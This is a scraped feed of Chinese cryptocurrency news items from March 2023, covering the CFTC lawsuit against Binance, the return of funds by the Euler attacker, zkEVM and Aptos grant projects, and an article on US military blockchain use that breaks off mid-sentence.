因此，CFTC根据《商品交易法》第6c条提起本诉讼，以制止被告的非法行为，并强制其遵守法律。此外，CFTC还寻求民事罚款和补救性附带救济，包括但不限于交易和注册禁令、追偿、利息以及法院可能认为必要和适当的其他救济。  ( 4 min )
    EOS EVM最终测试网已上线
    PANews 3月28日消息，据官方推特，EOS网络基金会宣布EOS EVM最终测试网已上线，随着安全审计的进行，EVM主网也即将准备就绪。 此前消息，EOS EVM主网Beta发布时间为4月14日。  ( 4 min )
    知情人士：迪士尼预计裁员7000人，包括裁撤元宇宙部门
    PANews 3月28日消息，据华尔街日报报道，知情人士透露，迪士尼已开启首轮裁员，预计裁员7000人，这是其2月宣布的55亿美元成本削减计划的关键部分。第一批员工将在未来四天内收到裁员通知，第二轮规模更大的裁员将在4 月份进行，将影响数千名员工，其中裁员计划的一部分是裁撤元宇宙部门，该团队的大约50名成员将全部被裁。  ( 4 min )
    数据：Euler黑客另一个地址再次返还7738枚ETH，今日返还资产共计4100万美元
    PANews 3月28日消息，据派盾预警监测，除今日早些时候报道的Euler Finance攻击者通过0x8765开头和0xa1b4开头的地址今日向Euler部署者账户返还了15476.1枚ETH和1070万枚Dai外，该攻击者还通过0xc4e04的地址向Euler部署者账户返还了7738.05枚ETH。即黑客今日共计返还了23214.15枚ETH和1070万枚Dai，约合4100万美元。 此外，0xa1b44已将2000万枚DAI转移到一个中间地址0x0d1b...843，该地址将300万枚DAI转移到Euler：Multisig 2地址。  ( 4 min )
    一文盘点10个新型原生zkEVM协议
    撰写：Asif Khan 编译：深潮 TechFlow zkEVM 向我们释放了一个新的生态系统，它建立在最前沿的 zk 执行层上。但更重要的是，现在我们需要提前了解在该层上即将推出的优质的 DeFi dapps，以先人一步。本文将分享一些还没有发行代币的新型原生 zkEVM 协议，未来它们完全有机会成为市场的主流。 订单簿永续合约将成为以太坊 L2s 的重要力量。Satori Finance 拥有一个团结紧密且勇于挑战极限的团队。他们完成了 1000 万美元的融资。他们的特色是链下匹配引擎和链上结算。 Clober 与订单簿论点相一致，Clober 是唯一全链 EVM 订单簿。 它使用了一种名为“LOBSTER”的新算法，用于高效订单匹配，以实现链上订单匹配和链上结算。 Mantis Swap Mantis Swap 是一种新型的稳定币交换 AMM，通过独创的单边质押实现了突破。 D8X D8X 正在推出一个基于池对手方的最前沿永续合约引擎。它主要产品是动态 AMM 定价模型，可确保： 1. 执行价格最低； 2. AMM LP 风险降低； 3. LP 的资金费率配置文件增加。 Syn Futures Syn Futures 是另一家 Polygon 原生的永续合约平台。v1 名义上的交易量已接近 190 亿美元。如今，该团队已经筹集了 1400 万美元的资金，并将很快发布 v2 版本，以便提供 NFT 杠杆交易。 Timeswap Labs TimeswapLabs 可能是空间中最聪明的 DeFi 协议之一。想象一下完全在链上且不需要预言机的流动性借贷市场，好吧，你不必想象，TimeswapLabs 已经到来。Timeswap 也可以成为构建期权产品的基本构件。 Polymarket 最近在社区圈子里大放异彩。它围绕 Arbitrum 空投、Balaji 预测等活动话题，吸引了所有人的注意力。在我看来，Polymarket 可能在未来几个月成为领域中最大的 dApps 之一。 0Vix 0Vix 正在通过使用 PolygonID 的原生 zk，将链上借贷推向下一阶段。但其主要的杀手级功能是动态利率曲线。我肯定会押注他们成为 zkEVM 借贷市场的领导者。 Quickswap Quickswap，Polygon 上原生的 OG 协议，过去六个月一直在疯狂增长： QiDao QiDao 是 Polygon 上的 OG 稳定币协议，他们的推出速度令人难以置信，并保持着去中心化稳定币领域最稳定的锚定价。 许多团队都想成为全链稳定币，但 Mai 已经实现了这个目标，未来发展前景可期。 zk L2s 的新时代已经来临，我们需要仔细关注。这个领域已经取得了以往不可及的流动性，现在是将其用于创新 DeFi 的真正肥沃土地的时候了。  ( 5 min )
    CFTC杀意袭来，CZ或被“一剑封喉”？
    作者：Cinneamhain Ventures 合伙人 Adam Cochran 编译：Moni 就在TikTok首席执行官周受资结束了美国国会“灵魂拷问”之后，3 月 27 日晚间，彭博社披露美国商品期货交易委员会（CFTC）在芝加哥联邦法院对加密货币交易平台币安及其首席执行官 CZ、第一任首席运营官 Samuel Lim 提起诉讼。 Cinneamhain Ventures 合伙人 Adam Cochran 在社交媒体上对美国商品期货交易委员会长达 74 页的起诉书进行了分析解读，Odaily星球日报进行编译如下： 1、美国商品期货交易委员会正试图对币安进行“致命”打击，甚至有可能推翻币安帝国。首先，也最关键的一点是，CFTC 认为自 2017 年推出平台以来，尽管币安公开表示其意图“阻止”或“限制”位于美国的客户访问其平台，但其实采取了一种有计划的、分阶段的方法来增加其在美国的影响力。初始阶段，币安战略性地略瞄准美国的零售客户。后期，币安越来越依赖美国的人员和供应商，积极培育利润丰厚、具有商业重要性的“VIP”客户，包括位于美国的机构客户。 2、CFTC 指出，币安培养美国客户群，因为这样做对他们来说是有利可图的，而且币安内部报告也透露其产品收入来自于“他们所知道的”美国客户。 3、币安、CZ 和 Samuel Lim 都被列在 7 项违反 CEA/CFC/USC 的行为中，CFTC 还暗示所有币安实体都在“CZ”控制之下，此案旨在揭开币安公司架构神秘面纱，尤其是专门针对币安的美国交易机构 Merit Peak 和 BAM（Binance.US）。 4、CFTC 甚至还获得了关于这些问题的 CZ 聊天记录和其他文件。 5、CFTC 还追踪币安涉嫌操纵和自我交易的情况，声称 CZ、Merit Peak 和 Sigma 拥有的 300 多个“内部账户”用于自营交易，并指出币安没有采取合理的反欺诈或反操纵措施。 6、CFTC 还特别与 Trust-Wallet、Binance Labs（由于其在美国有业务）、以及许多在美国有业务的币安员工联系在一起，包括志愿者“Binance Angels”，以此作为美国备案的依据。 7、CFTC 认为币安及其附属实体会指定最终受益人（UBO），并通过这种方式将控制权直接交回 CZ。 8、CFTC 表示已经获得了来自内部人士的大量聊天记录和文件，表明 CZ 了解美国客户，并采取措施将其隐藏在内部文件中。 9、CFTC 将试图禁止币安、CZ 和 Lim 及其所有相关附属公司进行活动： -从事本案所述的任何行为 -来自注册实体的交易 -持有任何商品权益 -指导任何数字资产交易 -以购买或出售数字资产为目的接受任何人的任何资金 -在 CFTC 注册或豁免 -担任注册实体的负责人、高级职员或雇员 以及要求币安 -交出（以罚款形式偿还）从美国人那里获得的交易利润、收入、薪水、佣金、贷款或费用 -使所有客户都受到这些违规行为的影响 -支付法院评估的民事罚款 -就此事接受陪审团审判 10、这意味着： -Binance US 将受到巨大打击 -美国市场中最终受益人的做市商会离开币安 -美国或合作伙伴国家的币安国际支付轨道会“永远死去” -从技术上讲，CFTC可能会认为Binance international 在美国境外提供任何交易服务都是违规的 -CZ、Lim 和币安员工将不能在受监管的企业工作 -任何与美国有关系的、以美元交易的银行都不会为币安提供资金服务 -Binance Labs 将被清算 -币安可能要承担数十亿美元的罚款 币安团队将永远不会合法持有美国商品或访问美国证券 11、如果 CZ、Lim 和币安未能与美国法院接洽，并且未能在审判中为自己辩护，那么 CFTC 很可能会完胜，并且会增加一些藐视法庭/妨碍公务的刑事指控，这会将问题扩展到其他国家。如果CZ、Lim 和币安参与进来，那么就发现在审判过程中必须要向美国监管机构公开所有资料，而这可能会导致出现其他更多问题。 12、对于币安来说，一种相对安全的解决途径可能是向 CFTC 支付数十亿美元的罚款，这可能会让 CZ 等人避免认罪。 13、与美国证券交易委员会不同，美国商品期货交易委员会通常不会关注小案件，可一旦提起诉讼，结果可能是致命的。  ( 5 min )
    币安将上线LDO/TUSD、OP/TUSD、MATIC/TUSD等6个TUSD相关交易对
    PANews 3月28日消息，据官方公告，币安宣布将于北京时间3月29日16:00上线 LDO/TUSD、MATIC/TUSD、OP/TUSD、SOL/TUSD、SSV/TUSD、XRP/TUSD交易对，用户可在这些交易对享受零挂单手续费，直至另行通知。  ( 4 min )
    比特小鹿将上市纳斯达克，估值约11.8亿美元
    PANews 3月28日消息，据美通社报道，美国证券交易委员会（SEC）已宣布Bitdeer Technologies Group（BTG，比特小鹿）的F-4的注册声明生效，该表格与Bitdeer和Blue Safari之前宣布的拟议业务合并有关。 Blue Safari将于4月11日举行临时股东大会以批准业务合并等事项；合并后的公司BTG将成为纳斯达克上市公司，估值约为11.8亿美元，股票代码为“BTDR”。企业合并预计将在Blue Safari股东批准并满足委托书和注册声明中所述的其他惯例成交条件后不久完成。  ( 4 min )
    Aptos Grant DAO季度回顾：哪些早期优质项目值得关注？
    原文来源：DoraHacks Aptos 生态早期项目长期资助计划 Aptos Grant DAO 已经于 3 月 12 日完成了第二轮资助。这是一项由 DoraHacks 团队和 Aptos 联合推出的针对 Aptos 生态项目的资助计划，旨在持续为该生态中早期初创团队或开发者的优质项目提供资金帮助，进一步推动生态的蓬勃发展。 Aptos Grant DAO 首轮资助计划于 2022 年 11 月 7 日启动，截至发稿前已经完成了第二轮资助，第三轮资助也处于项目提交申请的窗口期。下文将回顾该计划前两轮的详细资助情况，同时也将探索在该资助计划下一些值得关注的早期优质项目。 在 Aptos Grant DAO 中，每一轮资助的奖金池由 BUIDLer 奖金池+社区二次方匹配资金池组成。 BUIDLer 奖金池为 4,000 枚 APT 代币，该资金池将根据评审团的评选结果来决定分配对象。评审团的评选标准主要是看该项目与 Aptos 适配度、公共产品层级、商业模式、创新性、技术性、以及前沿的区块链或密码学理论研究与应用几个方面。 社区二次方资金池也为 4,000 枚 APT 代币，这部分资金将根据二次方算法进行分配，候选项目可获得的资助金额与所获得的投票人数成正相关，越受欢迎的项目，将分配到更高额的资助金。 除此之外，由社区投票资助的资金也将进入总奖金池，这部分资金不设上下限。 基于此，在前两轮的资助中，Aptos Grant DAO 的总奖金池情况如下所示： 表 1：Aptos Grant DAO 前两轮资助的奖金池详细情况 （以上数据均来源于DoraHacks 官网） 如上表中所示，在前两轮资助中，包含 BUIDLer 资金池、二次方投票资金池以及社区投票资助在内，Aptos Grant DAO 为 Aptos 生态提供了资金规模总计为 24,137.1 枚 APT 的资助。 该项计划主要扶持的是 NFT/Gaming、DeFi、基础设施协议或工具、Move Native、社区/DAO 等几大赛道中的项目。其中，第一轮总共有 139 个项目提交了申请，最终获得资助名额的项目有 18 个；第二轮则有 235 个项目提交了资助申请，最终有 25 个项目入选，又有 8 个是第一轮资助中的入选项目。 Aptos Grant DAO 资助计划的初衷是为生态中的早期项目提供帮助，以维持持续开发和运营。在区块链行业中，当一个项目尚处于非常早期的阶段时，可能未来充满了不确定性，因此非常需要早期投资来使项目生存下来。Aptos Grant DAO 便致力于为早期优质项目提供项目开发必要的资金。同时对于投资者而言，项目处于早期则同时也意味着高风险与高回报，尤其是 Alpha 型选手会更加青睐于寻找潜力股，Aptos Grant DAO 也为他们筛选出了很好的潜在标的。 下文将通过在社区的受欢迎程度、持续开发和更新的频率、以及在生态中的需求等几个方面来探索在 Aptos Grant DAO 资助计划下，会哪些优质项目更值得我们长期持续关注。 Aptin Finance：一个基于 Aptos 构建的去中心化借贷平台。也许是因为借贷已经发展成了 DeFi 生态中不可或缺的存在，该项目在第一轮的资助中获得了较高的社区投票数，GitHub 最近一次更新时间在 3 周前，团队成员匿名。Aptin Finance 平台上线了借贷和交易功能，支持包含 APT、WETH、USDC 等在内的 6 种资产，用户不仅能在该平台中借贷，还可以直接进行代币的兑换交易。 相关链接：https://dorahacks.io/buidl/3461?roundProj=2589 Fewcha：一个纯 Move 自托管加密钱包，支持 Aptos、SUI 链上的代币、NFT 和 DeFi，最近一次 GitHub 更新时间是在 2 天前。去中心化钱包作为一条链的最大流量入口，Aptos 生态中的部分项目已经支持用户使用 Fewcha 钱包进行交互。 相关链接：https://dorahacks.io/buidl/3864?roundProj=2621 Apass：一个集去中心化 DID（去中心化身份标识）、GameFi 和 SocialFi 于一体的协议，对标以太坊生态中的 Galaxy Project。GitHub 更新频率高、推特等社交平台也在持续运营中。 相关链接：https://dorahacks.io/buidl/3699?roundProj=2471 OmniBTC：一个基于跨链互操作协议的多链金融平台，主要支持 Aptos 链和 EVM 链之间的资产跨链、交易和借贷。 相关链接：https://dorahacks.io/buidl/3697?roundProj=2466 AptoScan：一个为 Move 生态中的 Layer1 开发的链上 NFT 和资产数据分析工具，除了可以实时监控 NFT 的链上交易和持仓数据之外，用户还可以通过该平台直接购买 NFT。 相关链接：https://dorahacks.io/buidl/4166?roundProj=3159 Oi！Network：这是一个 web3 收入的移动 App，通过 web2 社交媒体和 web3 连接，允许用户将自己在社交网络上的活动货币化，从而创建互联网的激励层和任务层。品牌或项目方通过简单和标准化的 gigs 和奖金池系统，将其内容的流量、影响力和参与度发挥到最大效应。 相关链接：https://dorahacks.io/buidl/4169?roundProj=3166 Cetus Protocol：专注于 Move 生态的 DeFi 流动性协议，支持代币交易、不同链之间的资产跨链、以及流动性池子。该项目有机会发展成 Aptos 生态的大型 DeFi 协议。 相关链接：https://dorahacks.io/buidl/3754?roundProj=3016 Bridgers.xyz：去中心化的跨链桥，主要支持用户在不同链之间进行资产交易。Genie 现处于极其早期的阶段，没有 demo。 相关链接：https://dorahacks.io/buidl/4154?roundProj=3153 Genie：一个去中心化的 DID 协议，为用户提供了统一的身份标识。 相关链接：https://dorahacks.io/buidl/4296?roundProj=3597 从资助名单来看，入选项目主要集中在基础设施建设/工具、DeFi、NFT 这三个赛道中。一方面是因为生态发展需要一些必不可少的基础设施工具，比如钱包、浏览器等；另一方面可能是因为有以太坊等其他链的生态发展在前，已经给出了诸如 DeFi、NFT 等赛道发展所需的宝贵经验，如借贷、Dex 等作为 DeFi 领域最基础的协议必将受到广大关注。同时，社区用户也对这一系列的项目有较为基本的认知以及路径依赖，因而也很难避免后来的新公链生态发展总是在对标以太坊生态。 从社区参与度来看，相比于第一轮中 42,281 的社区选票以及 6241.8 APT 的社区资助池而言，第二轮在社区选票数和资助池的资金规模都远低于第一轮。这说明初期社区用户 Aptos Grant DAO 这项资助计划是非常看好的，很可能是因为不少成员认为其中可能有有利可图，比如空投，这促使他们愿意积极参与其中。但 Aptos Grant DAO 是一项周期非常长的计划，后续如果想驱动更多社区成员积极参与到其中，比较简单有效的方式可能还是在该资助计划下有一到两个爆款项目的出现。 Aptos Grant DAO 作为一个开放的社区资助 DAO，其长期可持续型主要依赖于社区的投票治理。在该资助活动中，投票治理不仅仅是采用了 DoraHacks 的二次方投票机制，还结合了 vcDORA 加权投票的方案，以实现更公平的资金分配。 最初，Dora 是通过二次方投票机制来决定资金的分配，其二次方投票机制是指随着一个单一选民的投票数量增加，其投票对资金分配的影响将越来越小。该机制设计主要是为了解决「一币一投票权」和「一地址一投票权」带来的影响。在二次方机制下，匹配到的资金将随着获得的投票增加而增加，但是增长曲线将快速放缓。二次方机制难免存在着女巫攻击、身份攻击等隐患。为了应对这些风险，团队引入了新的投票权重调整机制：vcDORA。 vcDORA则是作为一种无需许可的投票信用，是由社区用户质押 DORA 代币生成相应数量的 vcDORA 代币，它代表着在 Dora 社区不可转让的治理信用，也是用户参与社区治理的投票权重放大器。用户生成的 vcDORA 代币数量取决于其质押的 DORA 代币数量和质押的时间周期。此外，用户地址中的 vcDORA 代币数量会随着时间推移而衰减，直到到期时代币数量将衰减至 0，届时若用户还想继续参与社区治理，则需要重新抵押 DORA 代币来生成新的 vcDORA。 图源：DoraHacks 网站 拉开第三轮资助活动的序幕 Aptos Grant DAO 作为一项长期进行的生态资助计划，其资助申请入口将长期对社区开放，Aptos 生态内任何想要获得资金扶持的早期项目方或团队都可以通过 DoraHacks 网站的 Aptos Grant DAO 「submit BUIDL」功能提交资助申请，提交其项目相关的 GitHUb 链接。尽管官方还未公布第三轮的具体时间安排，但目前正处于第三轮提交资助申请的窗口期，只要在进入项目评审阶段前提交申请的 BUIDL 都将自动进入第三轮的评审名单。 而对于普通的社区成员而言，可以在钱包账户中准备足够数量的 APT 代币以及少量 Gas 费用，以便在社区投票环节中为中意的项目提供投票支持（1 票=0.1APT）。此外，如果用户抵押了 DORA 代币兑换出 vcDORA，则其投票权重将比普通选民的投票权重更高，即同等投票数情况下，获得 vcDORA 投票的项目可以匹配到更高的奖金。 最后，值得注意的是，Aptos 第三轮资助将针对重点的生态方向增加定向资助，包括去中心化稳定币，社交支付中间件，和 Aptos 生态的预言机。不妨期待一下，第三轮活动中会出现哪些有创意的项目吧。 关于 DoraHacks DoraHacks 是一个全球范围内的极客运动，全球黑客马拉松组织者，也是全球最活跃的多链 Web3 开发者平台之一。DoraHacks.io 平台使得世界各地的 Hacker 和开源开发者可以参与黑客马拉松、Bounty、Grant、Grant DAO，以及公共物品质押等加密原生协议和基础设施进行协作并获得资助。到目前为止，DoraHacks 社区的 4000 多个项目已经获得了来自全球行业支持者超过 3000 万美元的资助。大量开源社区、DAO 和 超过 50 个主要区块链生态系统正在积极使用 Dora 的基础设施（DoraHacks.io）进行开源融资和社区治理。  ( 6 min )
    美CFTC细数几宗罪起诉币安和赵长鹏，或开出巨额罚单，业内如何看待？
    作者：比推BitpushNews Mary Liu 3月27日，美国商品期货交易委员会 (CFTC) 宣布起诉全球最大的加密货币交易所币安（Binance）及其CEO兼创始人赵长鹏（CZ），该监管机构称其故意逃避联邦法律，经营“非法”数字资产衍生品交易所。除了起诉 CZ 和几个币安关联公司外，CFTC 还指控币安前首席合规官 Samuel Lim 协助和教唆币安违规。 CFTC 是一个民事政府机构，因此它不能对公司提出刑事指控或为个人寻求监禁。然而，监管机构的案件可能导致公司和个人面临巨额罚款和其他处罚。CFTC表示：“在对被告的持续诉讼中，该机构寻求没收非法所得、民事罚款、永久交易和注册禁令，以及针对进一步违反《商品交易法》(CEA)和 CFTC 规定的指控的永久禁令”。 据《华尔街日报》此前报道，美CFTC和包括司法部在内的其他联邦机构多年来一直在调查币安，这起诉讼是过去一年加密行业遭受的最新一起监管打击。Cinneamhain Ventures 合伙人Adam Cochran在推特中评论道，CFTC 正试图对币安进行“致命一击”，他写道：“第一反应……我认为他们很有可能通过此举成功推翻币安帝国”。 两大加密货币比特币和以太坊在消息流出后迅速下跌，比特币在一个小时内下跌 3.3% 至 26,800 美元，以太坊下跌 2.9% 至 1,700 美元以下。 赵长鹏（CZ）发推“4”来回应诉讼公告，暗指他在 1 月份发布的一条推文，即呼吁社区“忽略 FUD、假新闻、攻击等”。 CFTC称，币安至少从 2019 年 7 月起就在美国运营数字资产衍生品交易设施，允许美国居民交易比特币、以太坊和莱特币等加密货币的期货、掉期和期权。诉讼称，币安还试图扩大其在美国的足迹，尽管该交易所声称将阻止美国居民访问币安的平台。 CFTC表示：“尽管公开表示其意图‘阻止’或‘限制’位于美国的客户访问其平台，但币安采取了一种经过深思熟虑的、分阶段的方法来增加其在美国的影响力”。 CFTC 指出，2021 年 5 月，币安从衍生品交易业务中赚取的月收入达到 11.4 亿美元，高于 2020 年 8 月的 6300 万美元。其中，约 16% 的 币安账户由美国客户持有。 CFTC 诉讼将币安的公司结构描述为“迷宫般的公司实体”，旨在混淆谁拥有和控制交易所。CFTC 高级执法官员Gretchen Lowe称币安的合规工作是“骗局”。 诉书称，CZ在 2017 年创立了币安，通过直接或间接拥有约 300 个“内部账户”在自己的平台上进行交易，但该交易所并未在其公开使用条款或其他地方披露这一活动。CFTC 表示，这些内部账户不受币安“内幕交易”政策的约束。 根据 CFTC 审查的内部通信，除了在美国提供非法交易外，松懈的合规方式可能导致更严重的影响，例如美国和欧盟指定的恐怖组织可能在该平台上进行交易。 文件中提到了多段关于币安使用 Signal 聊天应用的聊天记录，包括CZ与币安员工、美国客户等之间的聊天。聊天记录中还提到其给员工发布的指示，要求他们使用 Signal 来进行关于「美国禁令」的沟通。 诉状中写道：“在内部，币安管理人员、员工和代理人承认，币安平台为潜在的非法活动提供了便利…例如，2019 年 2 月，在收到关于 Binance 上‘关于 HAMAS 交易’的信息后，前首席合规官 Samuel Lim 向一位同事解释说，恐怖分子通常发送‘小额资金’，因为‘大额资金构成洗钱’”。对于某些 Binance 客户，包括来自俄罗斯的客户，Lim 在 2020 年 2 月的一次聊天中承认：“他们来这里是为了犯罪。” 币安洗钱报告官称，‘我们看到了阴暗处，但我们选择视而不见。’” 该监管机构表示：“Binance 的合规计划一直无效，在 Zhao 的指导下，Binance 已指示其员工和客户规避合规控制，以实现企业利润最大化，” CFTC 还声称 Binance 未能实施有效的反洗钱计划。该机构表示，它也没有建立必要的保障措施来确定客户的真实身份。投诉称，至少截至 2022 年 5 月，该公司尚未在美国提交任何可疑活动报告。 CFTC 表示，币安没有要求客户在交易前提交验证其身份的信息，并且“未能实施旨在防止和发现恐怖主义融资和洗钱活动的基本合规程序”。 一些行业参与者表示，美国监管机构试图在加密行业缺乏全面框架的情况下进行强制监管。 加密投资公司 CoinShares 首席战略官 Meltem Demirors 在一条推文中表示，所有人都在关注这起诉讼。 她指出，此案与CFTC 针对 BitMEX 的案子类似——“尽管较少关注 OFAC 违规行为，但更关注美国零售业务的营销和产品准入”。 比推此前报道，在美国监管机构指控 BitMEX 非法接受美国客户的订单和资金以交易比特币、以太坊和莱特币的衍生品后，该公司于 2021 年 8 月与CFTC 和金融犯罪执法网络 (FinCEN) 以1 亿美元达成和解。 Demirors 补充说，CFTC 在对币安的最新诉讼中声称比特币和以太坊是商品，这与 SEC 的立场背道而驰。SEC 主席 Gary Gensler 在过去一年的采访中多次表示，虽然他将比特币视为一种商品，但大多数其他加密代币都是证券。 CFTC 周一的投诉还将莱特币、稳定币 USDT 和 BUSD 称为商品。芝加哥律师事务所 Ice Miller 合伙人 Yankun Guo 表示，这种区别表明“美国缺乏明确的规定造成了混乱”。 数字资产行业算法交易平台 CoinRoutes 首席执行官兼联合创始人 Dave Weisberger 认为，此案可能会彻底损害 Binance.US 平台。Weisberger 说：“Binance 可能很快就会看到其在美国的业务完全终结，有许多在美国运营的优质交易所，其流动性比 BinanceUS 更高”。 去中心化交易所 Vertex Protocol 首席法律顾问 Jeffrey Blockinger 则认为，币安有可能达成和解或提起诉讼。 Blockinger 说：“任何和解肯定会包括币安同意停止和制止与衍生品销售和违反银行保密法相关的任何进一步违规行为。如果提起诉讼，可能需要数年时间才能解决。在此期间，币安将寻求纠正存在的任何缺陷，以避免任何进一步的指控，并向 CFTC 表现出诚意。” Primitive Ventures CEO @DoveyWan 在推文中表示，如果币安与CFTC的和解金为10亿美元，这只是币安一个月的收入。DoveyWan 写道：“摩根大通因不当行为和市场操纵支付了有史以来最大的 9.2 亿美元的 CFTC 罚款，我认为 binance 可以超过，10亿美元是个假设数字”。DoveyWan认为，此诉讼可能造成的结果包括：币安花费数十亿美元与 CFTC 达成和解；美国境内 CEX 不停地花钱打磨、削减业务和产品；离岸 CEX 在绿色监管区蓬勃发展；DeFi 蓬勃发展；非美国创始人蓬勃发展；更多创始人加入匿名游戏。 截至发稿时，加密市场基本保持平稳，比特币回到 27,000 美元以上，以太坊反弹至 1,700 美元以上。  ( 5 min )
    美国法官暂停将Voyager出售给Binance.US，等待政府上诉
    PANews 3月28日消息，美国纽约南区地方法院地方法官Jennifer Rearden批准了美国司法部提出的暂缓Voyager将其资产出售给Binance.US的计划，该申请此前已获得一名破产法官的批准。 此举将暂停Voyager资产出售，直到上诉本身可以通过美国法院系统。 裁决书显示，在考虑各方的书面陈述，以及就此事举行的会议和口头辩论后，特此批准政府的紧急动议。说明该裁决理由的意见将很快发布。  ( 4 min )
    Otherside将推出基于收藏的2D策略游戏LOTM，4月初可申领Vessel NFT
    PANews 3月28日消息，据官方推特，Yuga Labs旗下元宇宙平台Otherside宣布将推出基于收藏的2D策略游戏Legends of the Mara（LOTM），将从“Otherside:2nd Trip”活动结束后开始。 该游戏引入了一个名为Mara的全新NFT系列，该系列可以进化为Kodamara。该游戏始于Vessel NFT。每个Otherdeed持有人可以领取一个Vessel NFT，申领将从4月初开放。每个认领的Vessel将作为一个单独的ERC-721代币发送到Otherdeed持有钱包，并带有一个新的智能合约/NFT集合。除了通过申领获得外，还可以通过交易平台购买和出售Vessel。5月开始，玩家可准备保卫Otherside。 据介绍，Koda是Otherside的主要守护者，在该游戏中，他们是擅长耕种、施法和狩猎的人。通过该游戏，玩家将了解更多关于Koda的信息，包括他们的起源和他们与Otherside的原始关系，以Mara的形式遇到一些新学徒，并了解更多关于整个LOTM中Otherside的故事。Vessel可以成长为被称为Mara的学徒，在合适的条件下，使用合适的催化剂，可以进化成更熟练的Kodamara。他们都是防御异方的得力助手，尽管与古代的Koda相比，他们的力量受到了很大的限制。  ( 4 min )
    Euler攻击者再次返还约15476枚ETH和1070万枚Dai，共计约合3710万美元
    PANews 3月28日消息，据Cointelegraph报道，北京时间今日凌晨2:21，Euler Finance攻击者地址向Euler部署者地址发送了7,738.05枚ETH（约合1320万美元），在同一个区块中，与攻击者相关的另一个地址向同一部署者账户发送了相同的金额，共计15,476.1枚ETH(约2640万美元)返回给了Euler团队。然后，在2:40，第一个钱包向Euler部署者账户发送了约1070万枚Dai。这三笔交易的总额约为3710万美元。 这些交易是在3月25日之前返还58000枚ETH（当时价值超过1.01亿美元）之后进行的。自攻击以来，攻击者总共返还了价值超过1.38亿美元的加密资产。 此前3月13日消息，借贷协议Euler Finance遭到攻击，损失已达1.97亿美元。  ( 4 min )
    区块链如何为美军增加战斗力？
    原文：《美军究竟在用区块链做什么？》 作者：0x22D 当我们在谈论区块链时，提到的更多是 BTC、以太坊等公链，它们上面承载的大部分是 DeFi、NFT、DID 等领域的 DApp，以求捕获并创造更多价值，依靠造富效应浇筑出新的叙事。 其实，除了在资本市场中发挥金融属性之外，区块链去中心化和不可篡改的特性已经孕育出了许多尚不为公众所知的真实用例。 美军智囊早在 6 年前就发现了区块链的潜力，美国国防部下属机构国防高级研究计划局（DARPA）于 2017 年正式启动了军用区块链项目的研发，以为美军开发安全、不可破解的消息传递和交易平台为目标，向圣母大学和印第安纳科技制造公司（ITAMCO）拨款成立了 SIMBA Chain。 无可匹敌的背书项目——美国陆军、美国海军、美国太空军、波音公司 6 年之后，2023 年的现在，美军的区块链计划执行到了哪一步？ 美国太空军 (USSF) 成立于 2019 年，负责组织、培训和装备现役人员进行太空作战，其希望用区块链解决空间碎片问题。 空间碎片/太空碎片是目前人类使用空间轨道时面临的主要威胁之一。每枚发射到太空的火箭都会产生太空碎片，这些碎片可能会与卫星和空间站发生碰撞并造成损坏，太空碎片会长期存在于地球轨道之上。 太空碎片的数量不断增长，使得地球轨道日益拥堵，使现代人类依赖的许多服务都处于危险中，如通信、天气和定位等卫星 GPS 服务。 SIMBA Chain 针对空间碎片问题提出的解决方案，是建立一种准确记录并对空间碎片清理过程进行资助的新方式。通过将空间碎片代币化，以 NFT 的形式表示，可以使用多种不同的经济模型促进空间碎片的清理工作，通过私营企业维持稳定的空间环境。 链上主动碎片清除基金是 SIMBA 提出的将空间碎片与 NFT 绑定的「回收基金」，在空间碎片被确认得到回收后才会完成支付。SIMBA 还考虑创建「赏金基金」的可行性，通过吸引实体向赏金基金捐款从而为私营公司提供激励。 可出租 NFT是 SIMBA 考虑的另一种方式，让一个空间碎片从发被发现开始，到被回收清除前，可被分配给多个不同的公司处理或进行转包，让碎片的清理更加灵活。 碎片清除验证——SIMBA 首先会确定某个碎片的预期完成结果，然后确定可验证清除完成的依据，最后验证该碎片是否已从轨道移除或满足预期的完成结果。 SIMBA 使用区块链技术将空间碎片代币化为 NFT，为促进空间碎片的清除提供了新的方式，同时也为人们提供了一种参与极具潜力的太空经济，并从中获益的方式。 美国空军是全世界规模最庞大的空军，现役人员达 33 万人，拥有 5200 架飞机，财年预算高达 1500 亿美元。其希望通过区块链技术提高数据的防篡改能力，传输机密的 3D 打印计划，消除安全漏洞，针对增材制造（3D 打印）展开试点以协调战场上的分布式制造。 规模庞大的美国空军（USAF），依靠极为复杂的供应链来保持其前沿部署部队得到充分的装备和维护。然而，这条复杂的供应链也带来了许多安全威胁，潜在的敌对势力可能从中获取或篡改关键数据。为了解决供应链的安全问题，美国空军要求 SIMBA 为其提供一个增材制造解决方案，主要针对三个主要问题： 微电子供应链证明：在整个微电子供应链中，对操作安全的需求至关重要。这些部件可能不符合特定要求，使生命处于危险之中。 假冒品识别：供应链中可能存在着假冒的零件和恶意代码，使美国空军任务与武器系统的性能下降。 关键子供应商识别：对关键子供应商的依赖，给供应链带来了更多的风险。内部动荡、腐败和极端天气会拖慢基本部件的交付。 SIMBA 将其为美国空军提供的服务平台称为 BASECAMP。BASECAMP 建立在 SIMBA Blocks 的基础上，在增材制造组件的全生命周期内对其进行注册并追踪。通过软硬件两方面对增材制造组件进行全面的注册，全方位追踪零件： 硬件方面，在制造过程中，将条形码功能嵌入 3D 打印机以对打印出的组件进行注册； 软件方面，硬件标识符、设计文件和其他元数据被记录注册到到区块链上； 除此以外，BASECAMP 还使用智能合约在链上管理授权和许可文件，可在文件数据遭到更改时自动向关键部门发送通知。 在 BASECAMP 上线后，SIMBA Chain 帮助美国空军将消耗在追踪不合格增材制造零件上的时长从 2000 个工时减少到 20 个工时，缩短了 99%。 当谈到波音公司时，我们经常会谈起波音 737、波音 747、波音 787 等耳熟能详的客机，这是因为波音是世界上最大的民用飞机制造商之一，但很多人并不知道，波音同样也是世界顶级的军用飞机制造商。 美军的多种重要战机，比如 F-15 战斗机、B-52 同温层堡垒轰炸机、AH-64 阿帕奇武装战斗机、C-17 环球霸王 III 运输局皆出自波音公司。波音负责生产的美军战机中最重要的，一定是 F/A-18 型战斗机。该型战机是美国海军现役全部 11 艘航母上的主要舰载机，是美军航母战斗群在全球「作威作福」的重要保证，也是《壮志凌云 2》中汤姆·克鲁斯的座机。 在生产军用飞机时，波音公司需要大量人力来同步来自多方面的数据。具体来说，波音需要处理并整合四个数据仓库中的多达 700 个的数据表。如此脱节的系统在生产过程中造成了潜在的安全风险。因此，波音公司委托 SIMBA 构建一个高度集成的供应链解决方案，能够跟踪来自子供应商的 F/A-18 机翼部件。 为了确保机翼部件的可追溯性，SIMBA 